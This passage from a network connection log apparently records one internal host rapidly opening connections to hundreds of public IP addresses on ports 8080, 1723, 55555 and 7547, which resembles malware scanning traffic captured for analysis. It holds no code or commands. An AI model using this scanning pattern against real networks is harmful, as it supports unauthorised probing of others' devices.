Mar 21, 2024 05:16:56.497878075 CET	43346	8080	192.168.2.13	189.218.131.181
Mar 21, 2024 05:16:56.497878075 CET	42578	1723	192.168.2.13	213.197.49.175
Mar 21, 2024 05:16:56.497886896 CET	43346	8080	192.168.2.13	189.222.126.92
Mar 21, 2024 05:16:56.497888088 CET	42578	1723	192.168.2.13	213.177.204.169
Mar 21, 2024 05:16:56.497900009 CET	43346	8080	192.168.2.13	187.95.94.2
Mar 21, 2024 05:16:56.497925043 CET	42578	1723	192.168.2.13	213.229.184.130
Mar 21, 2024 05:16:56.497931004 CET	43346	8080	192.168.2.13	187.67.109.153
Mar 21, 2024 05:16:56.497936010 CET	43346	8080	192.168.2.13	201.196.195.93
Mar 21, 2024 05:16:56.497936010 CET	42578	1723	192.168.2.13	213.98.110.109
Mar 21, 2024 05:16:56.497936010 CET	43346	8080	192.168.2.13	189.152.194.72
Mar 21, 2024 05:16:56.497941971 CET	43346	8080	192.168.2.13	201.154.175.32
Mar 21, 2024 05:16:56.497942924 CET	43346	8080	192.168.2.13	201.114.112.50
Mar 21, 2024 05:16:56.497944117 CET	43346	8080	192.168.2.13	201.121.98.228
Mar 21, 2024 05:16:56.497951984 CET	43346	8080	192.168.2.13	189.222.140.201
Mar 21, 2024 05:16:56.497956038 CET	43346	8080	192.168.2.13	189.140.214.127
Mar 21, 2024 05:16:56.497958899 CET	42578	1723	192.168.2.13	213.124.180.157
Mar 21, 2024 05:16:56.497971058 CET	43346	8080	192.168.2.13	201.80.216.39
Mar 21, 2024 05:16:56.497978926 CET	43346	8080	192.168.2.13	187.193.111.23
Mar 21, 2024 05:16:56.497978926 CET	43346	8080	192.168.2.13	201.83.72.29
Mar 21, 2024 05:16:56.497978926 CET	43346	8080	192.168.2.13	201.143.28.78
Mar 21, 2024 05:16:56.497987032 CET	42578	1723	192.168.2.13	213.247.183.242
Mar 21, 2024 05:16:56.497988939 CET	43346	8080	192.168.2.13	187.151.79.47
Mar 21, 2024 05:16:56.497988939 CET	42578	1723	192.168.2.13	213.104.251.29
Mar 21, 2024 05:16:56.497988939 CET	42578	1723	192.168.2.13	213.238.41.250
Mar 21, 2024 05:16:56.498012066 CET	43346	8080	192.168.2.13	189.111.149.102
Mar 21, 2024 05:16:56.498013973 CET	43346	8080	192.168.2.13	187.204.86.106
Mar 21, 2024 05:16:56.498018026 CET	43346	8080	192.168.2.13	201.61.214.109
Mar 21, 2024 05:16:56.498025894 CET	43346	8080	192.168.2.13	187.128.21.131
Mar 21, 2024 05:16:56.498030901 CET	43346	8080	192.168.2.13	201.166.19.29
Mar 21, 2024 05:16:56.498040915 CET	43346	8080	192.168.2.13	187.33.231.241
Mar 21, 2024 05:16:56.498042107 CET	43346	8080	192.168.2.13	189.29.209.49
Mar 21, 2024 05:16:56.498049021 CET	43346	8080	192.168.2.13	189.27.226.212
Mar 21, 2024 05:16:56.498054981 CET	43346	8080	192.168.2.13	187.208.129.107
Mar 21, 2024 05:16:56.498059034 CET	43346	8080	192.168.2.13	189.160.125.164
Mar 21, 2024 05:16:56.498078108 CET	43346	8080	192.168.2.13	201.56.247.59
Mar 21, 2024 05:16:56.498079062 CET	43346	8080	192.168.2.13	189.210.148.8
Mar 21, 2024 05:16:56.498091936 CET	43346	8080	192.168.2.13	187.164.16.156
Mar 21, 2024 05:16:56.498091936 CET	43346	8080	192.168.2.13	189.205.171.110
Mar 21, 2024 05:16:56.498092890 CET	43346	8080	192.168.2.13	201.159.163.96
Mar 21, 2024 05:16:56.498095989 CET	43346	8080	192.168.2.13	189.68.148.177
Mar 21, 2024 05:16:56.498099089 CET	43346	8080	192.168.2.13	201.160.126.25
Mar 21, 2024 05:16:56.498111010 CET	43346	8080	192.168.2.13	187.29.202.4
Mar 21, 2024 05:16:56.498114109 CET	43346	8080	192.168.2.13	189.111.186.69
Mar 21, 2024 05:16:56.498121023 CET	43346	8080	192.168.2.13	189.59.126.246
Mar 21, 2024 05:16:56.498125076 CET	43346	8080	192.168.2.13	201.139.68.47
Mar 21, 2024 05:16:56.498156071 CET	43346	8080	192.168.2.13	187.216.195.65
Mar 21, 2024 05:16:56.498156071 CET	42578	1723	192.168.2.13	213.48.99.163
Mar 21, 2024 05:16:56.498162031 CET	43346	8080	192.168.2.13	201.136.246.113
Mar 21, 2024 05:16:56.498169899 CET	43346	8080	192.168.2.13	201.168.51.115
Mar 21, 2024 05:16:56.498198032 CET	43346	8080	192.168.2.13	189.26.171.19
Mar 21, 2024 05:16:56.498198986 CET	43346	8080	192.168.2.13	187.174.66.86
Mar 21, 2024 05:16:56.498198986 CET	42578	1723	192.168.2.13	213.4.96.226
Mar 21, 2024 05:16:56.498198986 CET	43346	8080	192.168.2.13	201.138.147.39
Mar 21, 2024 05:16:56.498200893 CET	43346	8080	192.168.2.13	201.100.21.247
Mar 21, 2024 05:16:56.498202085 CET	42578	1723	192.168.2.13	213.58.17.140
Mar 21, 2024 05:16:56.498215914 CET	42578	1723	192.168.2.13	213.72.90.54
Mar 21, 2024 05:16:56.498228073 CET	42578	1723	192.168.2.13	213.140.182.108
Mar 21, 2024 05:16:56.498234987 CET	43346	8080	192.168.2.13	201.175.104.10
Mar 21, 2024 05:16:56.498244047 CET	43346	8080	192.168.2.13	189.86.23.194
Mar 21, 2024 05:16:56.498244047 CET	42578	1723	192.168.2.13	213.39.122.102
Mar 21, 2024 05:16:56.498246908 CET	43346	8080	192.168.2.13	201.243.38.39
Mar 21, 2024 05:16:56.498256922 CET	43346	8080	192.168.2.13	189.205.82.83
Mar 21, 2024 05:16:56.498262882 CET	42578	1723	192.168.2.13	213.86.70.139
Mar 21, 2024 05:16:56.498264074 CET	43346	8080	192.168.2.13	189.163.170.227
Mar 21, 2024 05:16:56.498282909 CET	43346	8080	192.168.2.13	187.69.162.35
Mar 21, 2024 05:16:56.498286963 CET	43346	8080	192.168.2.13	187.34.19.95
Mar 21, 2024 05:16:56.498286963 CET	43346	8080	192.168.2.13	201.253.131.1
Mar 21, 2024 05:16:56.498294115 CET	43346	8080	192.168.2.13	201.204.58.51
Mar 21, 2024 05:16:56.498292923 CET	42578	1723	192.168.2.13	213.6.126.181
Mar 21, 2024 05:16:56.498292923 CET	43346	8080	192.168.2.13	189.138.140.90
Mar 21, 2024 05:16:56.498298883 CET	43346	8080	192.168.2.13	189.221.74.157
Mar 21, 2024 05:16:56.498303890 CET	43346	8080	192.168.2.13	187.81.95.154
Mar 21, 2024 05:16:56.498312950 CET	43346	8080	192.168.2.13	201.207.40.181
Mar 21, 2024 05:16:56.498312950 CET	42578	1723	192.168.2.13	213.228.159.18
Mar 21, 2024 05:16:56.498313904 CET	42578	1723	192.168.2.13	213.213.93.63
Mar 21, 2024 05:16:56.498315096 CET	43346	8080	192.168.2.13	189.66.167.174
Mar 21, 2024 05:16:56.498317957 CET	43346	8080	192.168.2.13	201.131.255.249
Mar 21, 2024 05:16:56.498320103 CET	43346	8080	192.168.2.13	187.80.231.141
Mar 21, 2024 05:16:56.498318911 CET	43346	8080	192.168.2.13	201.26.240.94
Mar 21, 2024 05:16:56.498336077 CET	43346	8080	192.168.2.13	201.163.124.136
Mar 21, 2024 05:16:56.498341084 CET	43346	8080	192.168.2.13	187.221.116.24
Mar 21, 2024 05:16:56.498341084 CET	42578	1723	192.168.2.13	213.14.208.229
Mar 21, 2024 05:16:56.498347998 CET	42578	1723	192.168.2.13	213.137.53.23
Mar 21, 2024 05:16:56.498352051 CET	42578	1723	192.168.2.13	213.234.211.254
Mar 21, 2024 05:16:56.498367071 CET	43346	8080	192.168.2.13	201.128.151.53
Mar 21, 2024 05:16:56.498367071 CET	43346	8080	192.168.2.13	201.20.144.14
Mar 21, 2024 05:16:56.498372078 CET	43346	8080	192.168.2.13	187.54.159.58
Mar 21, 2024 05:16:56.498374939 CET	43346	8080	192.168.2.13	201.185.111.142
Mar 21, 2024 05:16:56.498389959 CET	42578	1723	192.168.2.13	213.226.212.103
Mar 21, 2024 05:16:56.498389959 CET	43346	8080	192.168.2.13	187.226.230.143
Mar 21, 2024 05:16:56.498392105 CET	42578	1723	192.168.2.13	213.62.219.10
Mar 21, 2024 05:16:56.498393059 CET	43346	8080	192.168.2.13	187.41.135.224
Mar 21, 2024 05:16:56.498404980 CET	43346	8080	192.168.2.13	187.138.141.114
Mar 21, 2024 05:16:56.498414993 CET	43346	8080	192.168.2.13	201.98.200.130
Mar 21, 2024 05:16:56.498415947 CET	43346	8080	192.168.2.13	201.20.131.22
Mar 21, 2024 05:16:56.498415947 CET	42578	1723	192.168.2.13	213.188.130.78
Mar 21, 2024 05:16:56.498418093 CET	43346	8080	192.168.2.13	189.65.203.20
Mar 21, 2024 05:16:56.498416901 CET	43346	8080	192.168.2.13	189.110.203.166
Mar 21, 2024 05:16:56.498418093 CET	43346	8080	192.168.2.13	201.74.33.110
Mar 21, 2024 05:16:56.498421907 CET	43346	8080	192.168.2.13	187.174.224.215
Mar 21, 2024 05:16:56.498421907 CET	42578	1723	192.168.2.13	213.221.221.201
Mar 21, 2024 05:16:56.498421907 CET	43346	8080	192.168.2.13	189.178.64.95
Mar 21, 2024 05:16:56.498430967 CET	43346	8080	192.168.2.13	201.219.58.173
Mar 21, 2024 05:16:56.498442888 CET	42578	1723	192.168.2.13	213.89.25.57
Mar 21, 2024 05:16:56.498442888 CET	43346	8080	192.168.2.13	201.109.234.85
Mar 21, 2024 05:16:56.498444080 CET	43346	8080	192.168.2.13	201.113.80.17
Mar 21, 2024 05:16:56.498445034 CET	43346	8080	192.168.2.13	187.13.160.200
Mar 21, 2024 05:16:56.498445034 CET	42578	1723	192.168.2.13	213.255.129.7
Mar 21, 2024 05:16:56.498455048 CET	43346	8080	192.168.2.13	189.176.85.2
Mar 21, 2024 05:16:56.498455048 CET	43346	8080	192.168.2.13	187.109.209.11
Mar 21, 2024 05:16:56.498455048 CET	43346	8080	192.168.2.13	187.215.181.254
Mar 21, 2024 05:16:56.498471975 CET	43346	8080	192.168.2.13	187.164.47.4
Mar 21, 2024 05:16:56.498471975 CET	43346	8080	192.168.2.13	201.234.249.96
Mar 21, 2024 05:16:56.498471975 CET	43346	8080	192.168.2.13	201.240.223.165
Mar 21, 2024 05:16:56.498472929 CET	43346	8080	192.168.2.13	187.190.142.140
Mar 21, 2024 05:16:56.498471975 CET	43346	8080	192.168.2.13	189.184.114.64
Mar 21, 2024 05:16:56.498472929 CET	42578	1723	192.168.2.13	213.114.92.137
Mar 21, 2024 05:16:56.498471975 CET	43346	8080	192.168.2.13	187.159.245.138
Mar 21, 2024 05:16:56.498482943 CET	43346	8080	192.168.2.13	201.183.226.253
Mar 21, 2024 05:16:56.498482943 CET	43346	8080	192.168.2.13	189.90.190.78
Mar 21, 2024 05:16:56.498483896 CET	42578	1723	192.168.2.13	213.46.166.44
Mar 21, 2024 05:16:56.498485088 CET	43346	8080	192.168.2.13	201.24.207.89
Mar 21, 2024 05:16:56.498483896 CET	42578	1723	192.168.2.13	213.191.229.165
Mar 21, 2024 05:16:56.498486996 CET	43346	8080	192.168.2.13	187.41.22.3
Mar 21, 2024 05:16:56.498486996 CET	43346	8080	192.168.2.13	187.164.193.190
Mar 21, 2024 05:16:56.498491049 CET	42578	1723	192.168.2.13	213.216.125.94
Mar 21, 2024 05:16:56.498491049 CET	43346	8080	192.168.2.13	201.143.44.209
Mar 21, 2024 05:16:56.498493910 CET	43346	8080	192.168.2.13	201.234.36.38
Mar 21, 2024 05:16:56.498506069 CET	43346	8080	192.168.2.13	189.65.215.229
Mar 21, 2024 05:16:56.498513937 CET	42578	1723	192.168.2.13	213.5.56.43
Mar 21, 2024 05:16:56.498513937 CET	43346	8080	192.168.2.13	189.60.221.90
Mar 21, 2024 05:16:56.498526096 CET	43346	8080	192.168.2.13	189.249.11.204
Mar 21, 2024 05:16:56.498526096 CET	42578	1723	192.168.2.13	213.163.117.81
Mar 21, 2024 05:16:56.498528004 CET	42578	1723	192.168.2.13	213.70.51.77
Mar 21, 2024 05:16:56.498528957 CET	43346	8080	192.168.2.13	189.127.171.228
Mar 21, 2024 05:16:56.498531103 CET	43346	8080	192.168.2.13	201.102.127.18
Mar 21, 2024 05:16:56.498533964 CET	42578	1723	192.168.2.13	213.227.48.151
Mar 21, 2024 05:16:56.498544931 CET	43346	8080	192.168.2.13	187.145.160.175
Mar 21, 2024 05:16:56.498550892 CET	43346	8080	192.168.2.13	187.187.5.96
Mar 21, 2024 05:16:56.498558044 CET	43346	8080	192.168.2.13	187.84.70.187
Mar 21, 2024 05:16:56.498570919 CET	42578	1723	192.168.2.13	213.166.170.179
Mar 21, 2024 05:16:56.498578072 CET	43346	8080	192.168.2.13	201.247.245.116
Mar 21, 2024 05:16:56.498600006 CET	42578	1723	192.168.2.13	213.177.33.254
Mar 21, 2024 05:16:56.498606920 CET	43346	8080	192.168.2.13	201.219.104.189
Mar 21, 2024 05:16:56.498606920 CET	43346	8080	192.168.2.13	201.20.142.3
Mar 21, 2024 05:16:56.498619080 CET	43346	8080	192.168.2.13	189.227.79.170
Mar 21, 2024 05:16:56.498621941 CET	42578	1723	192.168.2.13	213.195.248.160
Mar 21, 2024 05:16:56.498621941 CET	43346	8080	192.168.2.13	187.70.68.140
Mar 21, 2024 05:16:56.498634100 CET	43346	8080	192.168.2.13	187.37.39.31
Mar 21, 2024 05:16:56.498634100 CET	43346	8080	192.168.2.13	189.112.43.126
Mar 21, 2024 05:16:56.498634100 CET	43346	8080	192.168.2.13	201.232.229.164
Mar 21, 2024 05:16:56.498642921 CET	42578	1723	192.168.2.13	213.207.127.113
Mar 21, 2024 05:16:56.498642921 CET	43346	8080	192.168.2.13	189.254.111.61
Mar 21, 2024 05:16:56.498646975 CET	43346	8080	192.168.2.13	187.210.179.237
Mar 21, 2024 05:16:56.498646975 CET	43346	8080	192.168.2.13	189.105.201.96
Mar 21, 2024 05:16:56.498646975 CET	43346	8080	192.168.2.13	189.131.122.62
Mar 21, 2024 05:16:56.498646975 CET	43346	8080	192.168.2.13	189.99.165.206
Mar 21, 2024 05:16:56.498655081 CET	43346	8080	192.168.2.13	189.184.45.208
Mar 21, 2024 05:16:56.498655081 CET	43346	8080	192.168.2.13	201.190.72.80
Mar 21, 2024 05:16:56.498655081 CET	42578	1723	192.168.2.13	213.173.38.37
Mar 21, 2024 05:16:56.498656988 CET	42578	1723	192.168.2.13	213.215.254.93
Mar 21, 2024 05:16:56.498657942 CET	43346	8080	192.168.2.13	201.62.253.231
Mar 21, 2024 05:16:56.498657942 CET	43346	8080	192.168.2.13	187.244.57.207
Mar 21, 2024 05:16:56.498660088 CET	43346	8080	192.168.2.13	201.93.150.220
Mar 21, 2024 05:16:56.498686075 CET	43346	8080	192.168.2.13	187.254.25.145
Mar 21, 2024 05:16:56.498686075 CET	43346	8080	192.168.2.13	201.8.208.142
Mar 21, 2024 05:16:56.498689890 CET	43346	8080	192.168.2.13	189.62.252.89
Mar 21, 2024 05:16:56.498694897 CET	42578	1723	192.168.2.13	213.28.112.231
Mar 21, 2024 05:16:56.498703957 CET	43346	8080	192.168.2.13	201.81.241.190
Mar 21, 2024 05:16:56.498703957 CET	43346	8080	192.168.2.13	201.58.207.107
Mar 21, 2024 05:16:56.498704910 CET	43346	8080	192.168.2.13	201.204.166.238
Mar 21, 2024 05:16:56.498709917 CET	42578	1723	192.168.2.13	213.160.231.78
Mar 21, 2024 05:16:56.498709917 CET	43346	8080	192.168.2.13	201.39.194.113
Mar 21, 2024 05:16:56.498711109 CET	42578	1723	192.168.2.13	213.98.29.34
Mar 21, 2024 05:16:56.498713970 CET	43346	8080	192.168.2.13	201.41.28.15
Mar 21, 2024 05:16:56.498718023 CET	43346	8080	192.168.2.13	201.5.102.227
Mar 21, 2024 05:16:56.498722076 CET	43346	8080	192.168.2.13	189.53.209.176
Mar 21, 2024 05:16:56.498722076 CET	43346	8080	192.168.2.13	187.66.210.215
Mar 21, 2024 05:16:56.498729944 CET	43346	8080	192.168.2.13	189.14.116.186
Mar 21, 2024 05:16:56.498740911 CET	43346	8080	192.168.2.13	201.139.5.169
Mar 21, 2024 05:16:56.498742104 CET	43346	8080	192.168.2.13	187.184.116.250
Mar 21, 2024 05:16:56.498742104 CET	42578	1723	192.168.2.13	213.200.53.204
Mar 21, 2024 05:16:56.498744965 CET	43346	8080	192.168.2.13	189.165.114.242
Mar 21, 2024 05:16:56.498749971 CET	43346	8080	192.168.2.13	187.152.181.116
Mar 21, 2024 05:16:56.498752117 CET	43346	8080	192.168.2.13	189.13.6.200
Mar 21, 2024 05:16:56.498759985 CET	42578	1723	192.168.2.13	213.75.227.17
Mar 21, 2024 05:16:56.498760939 CET	43346	8080	192.168.2.13	201.113.16.16
Mar 21, 2024 05:16:56.498770952 CET	43346	8080	192.168.2.13	201.38.196.91
Mar 21, 2024 05:16:56.498775005 CET	42578	1723	192.168.2.13	213.240.73.54
Mar 21, 2024 05:16:56.498785973 CET	42578	1723	192.168.2.13	213.244.196.231
Mar 21, 2024 05:16:56.498790026 CET	43346	8080	192.168.2.13	189.198.194.82
Mar 21, 2024 05:16:56.498791933 CET	43346	8080	192.168.2.13	201.232.115.7
Mar 21, 2024 05:16:56.498791933 CET	43346	8080	192.168.2.13	201.113.181.59
Mar 21, 2024 05:16:56.498794079 CET	43346	8080	192.168.2.13	187.151.17.193
Mar 21, 2024 05:16:56.498794079 CET	43346	8080	192.168.2.13	187.165.208.206
Mar 21, 2024 05:16:56.498794079 CET	43346	8080	192.168.2.13	189.198.254.196
Mar 21, 2024 05:16:56.498800993 CET	43346	8080	192.168.2.13	187.103.48.41
Mar 21, 2024 05:16:56.498806953 CET	43346	8080	192.168.2.13	201.77.53.209
Mar 21, 2024 05:16:56.498817921 CET	43346	8080	192.168.2.13	189.132.216.115
Mar 21, 2024 05:16:56.498826027 CET	43346	8080	192.168.2.13	187.74.184.26
Mar 21, 2024 05:16:56.498831987 CET	43346	8080	192.168.2.13	187.167.200.213
Mar 21, 2024 05:16:56.498831987 CET	43346	8080	192.168.2.13	187.136.239.131
Mar 21, 2024 05:16:56.498847008 CET	43346	8080	192.168.2.13	189.155.221.240
Mar 21, 2024 05:16:56.498851061 CET	43346	8080	192.168.2.13	187.223.78.27
Mar 21, 2024 05:16:56.498868942 CET	43346	8080	192.168.2.13	201.160.225.129
Mar 21, 2024 05:16:56.498872042 CET	43346	8080	192.168.2.13	189.125.23.203
Mar 21, 2024 05:16:56.498872042 CET	43346	8080	192.168.2.13	189.186.191.84
Mar 21, 2024 05:16:56.498872995 CET	43346	8080	192.168.2.13	201.183.183.7
Mar 21, 2024 05:16:56.498883009 CET	43346	8080	192.168.2.13	201.196.143.87
Mar 21, 2024 05:16:56.498883963 CET	43346	8080	192.168.2.13	189.93.198.69
Mar 21, 2024 05:16:56.498888016 CET	43346	8080	192.168.2.13	201.211.131.229
Mar 21, 2024 05:16:56.498893023 CET	43346	8080	192.168.2.13	187.249.114.153
Mar 21, 2024 05:16:56.498898983 CET	43346	8080	192.168.2.13	187.55.73.79
Mar 21, 2024 05:16:56.498903990 CET	43346	8080	192.168.2.13	201.18.64.246
Mar 21, 2024 05:16:56.498904943 CET	43346	8080	192.168.2.13	189.50.164.254
Mar 21, 2024 05:16:56.498924017 CET	43346	8080	192.168.2.13	189.114.208.139
Mar 21, 2024 05:16:56.498925924 CET	43346	8080	192.168.2.13	201.184.30.22
Mar 21, 2024 05:16:56.498936892 CET	43346	8080	192.168.2.13	201.233.15.200
Mar 21, 2024 05:16:56.498936892 CET	43346	8080	192.168.2.13	189.95.37.211
Mar 21, 2024 05:16:56.498939991 CET	43346	8080	192.168.2.13	189.23.196.9
Mar 21, 2024 05:16:56.498940945 CET	43346	8080	192.168.2.13	189.143.247.180
Mar 21, 2024 05:16:56.498958111 CET	43346	8080	192.168.2.13	201.185.52.19
Mar 21, 2024 05:16:56.498960972 CET	43346	8080	192.168.2.13	201.249.2.4
Mar 21, 2024 05:16:56.499456882 CET	42578	1723	192.168.2.13	213.174.170.245
Mar 21, 2024 05:16:56.499476910 CET	42578	1723	192.168.2.13	213.231.105.118
Mar 21, 2024 05:16:56.499480963 CET	42578	1723	192.168.2.13	213.236.155.185
Mar 21, 2024 05:16:56.499505043 CET	42578	1723	192.168.2.13	213.244.147.81
Mar 21, 2024 05:16:56.499525070 CET	42578	1723	192.168.2.13	213.224.230.21
Mar 21, 2024 05:16:56.499537945 CET	42578	1723	192.168.2.13	213.19.173.64
Mar 21, 2024 05:16:56.499566078 CET	42578	1723	192.168.2.13	213.24.222.203
Mar 21, 2024 05:16:56.499577999 CET	42578	1723	192.168.2.13	213.107.50.243
Mar 21, 2024 05:16:56.499682903 CET	42578	1723	192.168.2.13	213.240.62.227
Mar 21, 2024 05:16:56.499699116 CET	42578	1723	192.168.2.13	213.80.113.49
Mar 21, 2024 05:16:56.499716997 CET	42578	1723	192.168.2.13	213.144.67.62
Mar 21, 2024 05:16:56.499744892 CET	42578	1723	192.168.2.13	213.15.15.47
Mar 21, 2024 05:16:56.499744892 CET	42578	1723	192.168.2.13	213.211.190.109
Mar 21, 2024 05:16:56.500248909 CET	42578	1723	192.168.2.13	213.119.68.151
Mar 21, 2024 05:16:56.500273943 CET	42578	1723	192.168.2.13	213.230.30.136
Mar 21, 2024 05:16:56.500284910 CET	42578	1723	192.168.2.13	213.180.42.202
Mar 21, 2024 05:16:56.500313044 CET	42578	1723	192.168.2.13	213.105.30.173
Mar 21, 2024 05:16:56.500315905 CET	42578	1723	192.168.2.13	213.64.131.72
Mar 21, 2024 05:16:56.500350952 CET	42578	1723	192.168.2.13	213.43.54.169
Mar 21, 2024 05:16:56.500350952 CET	42578	1723	192.168.2.13	213.13.119.150
Mar 21, 2024 05:16:56.500386000 CET	42578	1723	192.168.2.13	213.81.236.128
Mar 21, 2024 05:16:56.500396013 CET	42578	1723	192.168.2.13	213.34.191.69
Mar 21, 2024 05:16:56.500421047 CET	42578	1723	192.168.2.13	213.107.210.254
Mar 21, 2024 05:16:56.500422955 CET	42578	1723	192.168.2.13	213.103.190.98
Mar 21, 2024 05:16:56.500442982 CET	42578	1723	192.168.2.13	213.177.29.174
Mar 21, 2024 05:16:56.500447989 CET	42578	1723	192.168.2.13	213.55.89.148
Mar 21, 2024 05:16:56.500466108 CET	42578	1723	192.168.2.13	213.100.164.225
Mar 21, 2024 05:16:56.500490904 CET	42578	1723	192.168.2.13	213.205.211.224
Mar 21, 2024 05:16:56.500503063 CET	44370	55555	192.168.2.13	98.27.31.50
Mar 21, 2024 05:16:56.500503063 CET	42578	1723	192.168.2.13	213.79.240.15
Mar 21, 2024 05:16:56.500535011 CET	42578	1723	192.168.2.13	213.0.6.89
Mar 21, 2024 05:16:56.500536919 CET	42578	1723	192.168.2.13	213.251.187.185
Mar 21, 2024 05:16:56.500547886 CET	44370	55555	192.168.2.13	98.69.167.50
Mar 21, 2024 05:16:56.500560045 CET	42578	1723	192.168.2.13	213.236.167.44
Mar 21, 2024 05:16:56.500590086 CET	42578	1723	192.168.2.13	213.192.173.212
Mar 21, 2024 05:16:56.500595093 CET	42578	1723	192.168.2.13	213.172.47.152
Mar 21, 2024 05:16:56.500602961 CET	42578	1723	192.168.2.13	213.38.18.203
Mar 21, 2024 05:16:56.500629902 CET	42578	1723	192.168.2.13	213.119.172.78
Mar 21, 2024 05:16:56.500653028 CET	42578	1723	192.168.2.13	213.214.7.231
Mar 21, 2024 05:16:56.500668049 CET	44370	55555	192.168.2.13	172.120.136.63
Mar 21, 2024 05:16:56.500669956 CET	42578	1723	192.168.2.13	213.129.75.242
Mar 21, 2024 05:16:56.500675917 CET	44370	55555	192.168.2.13	98.68.127.157
Mar 21, 2024 05:16:56.500675917 CET	42578	1723	192.168.2.13	213.16.53.78
Mar 21, 2024 05:16:56.500689983 CET	42578	1723	192.168.2.13	213.89.174.165
Mar 21, 2024 05:16:56.500699997 CET	42578	1723	192.168.2.13	213.25.243.42
Mar 21, 2024 05:16:56.500699043 CET	44370	55555	192.168.2.13	184.79.136.79
Mar 21, 2024 05:16:56.500713110 CET	44370	55555	192.168.2.13	98.211.127.183
Mar 21, 2024 05:16:56.500725985 CET	44370	55555	192.168.2.13	98.41.224.5
Mar 21, 2024 05:16:56.500725985 CET	42578	1723	192.168.2.13	213.97.1.233
Mar 21, 2024 05:16:56.500730991 CET	44370	55555	192.168.2.13	172.89.61.195
Mar 21, 2024 05:16:56.500747919 CET	44370	55555	192.168.2.13	172.167.114.20
Mar 21, 2024 05:16:56.500777006 CET	44370	55555	192.168.2.13	98.82.72.245
Mar 21, 2024 05:16:56.500788927 CET	42578	1723	192.168.2.13	213.91.13.154
Mar 21, 2024 05:16:56.500788927 CET	44370	55555	192.168.2.13	98.33.73.1
Mar 21, 2024 05:16:56.500788927 CET	44370	55555	192.168.2.13	184.217.9.203
Mar 21, 2024 05:16:56.500802040 CET	44370	55555	192.168.2.13	184.218.251.223
Mar 21, 2024 05:16:56.500807047 CET	44370	55555	192.168.2.13	98.209.173.138
Mar 21, 2024 05:16:56.500808001 CET	42578	1723	192.168.2.13	213.81.230.236
Mar 21, 2024 05:16:56.500808001 CET	44370	55555	192.168.2.13	184.17.138.90
Mar 21, 2024 05:16:56.500818014 CET	44370	55555	192.168.2.13	98.158.121.221
Mar 21, 2024 05:16:56.500818968 CET	44370	55555	192.168.2.13	172.66.96.91
Mar 21, 2024 05:16:56.500830889 CET	42578	1723	192.168.2.13	213.139.172.18
Mar 21, 2024 05:16:56.500832081 CET	44370	55555	192.168.2.13	172.219.165.58
Mar 21, 2024 05:16:56.500832081 CET	44370	55555	192.168.2.13	98.29.151.17
Mar 21, 2024 05:16:56.500843048 CET	42578	1723	192.168.2.13	213.90.243.185
Mar 21, 2024 05:16:56.500854015 CET	44370	55555	192.168.2.13	184.246.214.26
Mar 21, 2024 05:16:56.500861883 CET	44370	55555	192.168.2.13	184.227.182.10
Mar 21, 2024 05:16:56.500869036 CET	44370	55555	192.168.2.13	172.225.145.243
Mar 21, 2024 05:16:56.500869036 CET	42578	1723	192.168.2.13	213.237.168.54
Mar 21, 2024 05:16:56.500883102 CET	44370	55555	192.168.2.13	98.85.208.53
Mar 21, 2024 05:16:56.500885010 CET	42578	1723	192.168.2.13	213.30.90.67
Mar 21, 2024 05:16:56.500891924 CET	44370	55555	192.168.2.13	172.14.199.46
Mar 21, 2024 05:16:56.500910997 CET	44370	55555	192.168.2.13	184.108.100.205
Mar 21, 2024 05:16:56.500910997 CET	44370	55555	192.168.2.13	184.52.236.204
Mar 21, 2024 05:16:56.500916958 CET	39762	7547	192.168.2.13	138.170.30.50
Mar 21, 2024 05:16:56.500921965 CET	44370	55555	192.168.2.13	184.73.168.132
Mar 21, 2024 05:16:56.500921965 CET	44370	55555	192.168.2.13	98.64.128.169
Mar 21, 2024 05:16:56.500932932 CET	44370	55555	192.168.2.13	98.198.62.27
Mar 21, 2024 05:16:56.500946999 CET	44370	55555	192.168.2.13	98.107.252.141
Mar 21, 2024 05:16:56.500946999 CET	39762	7547	192.168.2.13	41.245.166.50
Mar 21, 2024 05:16:56.500967026 CET	44370	55555	192.168.2.13	184.48.62.117
Mar 21, 2024 05:16:56.500967026 CET	39762	7547	192.168.2.13	150.160.229.63
Mar 21, 2024 05:16:56.500971079 CET	44370	55555	192.168.2.13	172.33.68.153
Mar 21, 2024 05:16:56.500971079 CET	39762	7547	192.168.2.13	88.172.167.176
Mar 21, 2024 05:16:56.500971079 CET	44370	55555	192.168.2.13	172.5.10.78
Mar 21, 2024 05:16:56.500977039 CET	39762	7547	192.168.2.13	132.150.0.130
Mar 21, 2024 05:16:56.500977039 CET	44370	55555	192.168.2.13	184.16.90.223
Mar 21, 2024 05:16:56.500983000 CET	39762	7547	192.168.2.13	203.85.26.70
Mar 21, 2024 05:16:56.500983000 CET	39762	7547	192.168.2.13	59.128.229.17
Mar 21, 2024 05:16:56.500991106 CET	44370	55555	192.168.2.13	98.206.108.27
Mar 21, 2024 05:16:56.500991106 CET	44370	55555	192.168.2.13	98.66.162.213
Mar 21, 2024 05:16:56.500996113 CET	39762	7547	192.168.2.13	138.246.7.39
Mar 21, 2024 05:16:56.500999928 CET	44370	55555	192.168.2.13	172.166.232.209
Mar 21, 2024 05:16:56.501004934 CET	44370	55555	192.168.2.13	172.225.101.58
Mar 21, 2024 05:16:56.501004934 CET	39762	7547	192.168.2.13	209.96.82.30
Mar 21, 2024 05:16:56.501004934 CET	39762	7547	192.168.2.13	102.83.40.66
Mar 21, 2024 05:16:56.501012087 CET	39762	7547	192.168.2.13	85.188.165.12
Mar 21, 2024 05:16:56.501013041 CET	39762	7547	192.168.2.13	123.135.250.26
Mar 21, 2024 05:16:56.501015902 CET	44370	55555	192.168.2.13	98.19.18.95
Mar 21, 2024 05:16:56.501034975 CET	42578	1723	192.168.2.13	213.108.198.126
Mar 21, 2024 05:16:56.501039982 CET	44370	55555	192.168.2.13	98.106.93.129
Mar 21, 2024 05:16:56.501049042 CET	44370	55555	192.168.2.13	172.92.123.208
Mar 21, 2024 05:16:56.501049042 CET	44370	55555	192.168.2.13	172.236.228.148
Mar 21, 2024 05:16:56.501055956 CET	42578	1723	192.168.2.13	213.154.185.126
Mar 21, 2024 05:16:56.501071930 CET	44370	55555	192.168.2.13	184.21.41.121
Mar 21, 2024 05:16:56.501071930 CET	44370	55555	192.168.2.13	172.12.34.153
Mar 21, 2024 05:16:56.501075029 CET	44370	55555	192.168.2.13	184.143.212.57
Mar 21, 2024 05:16:56.501080990 CET	42578	1723	192.168.2.13	213.225.122.224
Mar 21, 2024 05:16:56.501082897 CET	42578	1723	192.168.2.13	213.95.147.50
Mar 21, 2024 05:16:56.501101971 CET	39762	7547	192.168.2.13	171.18.151.43
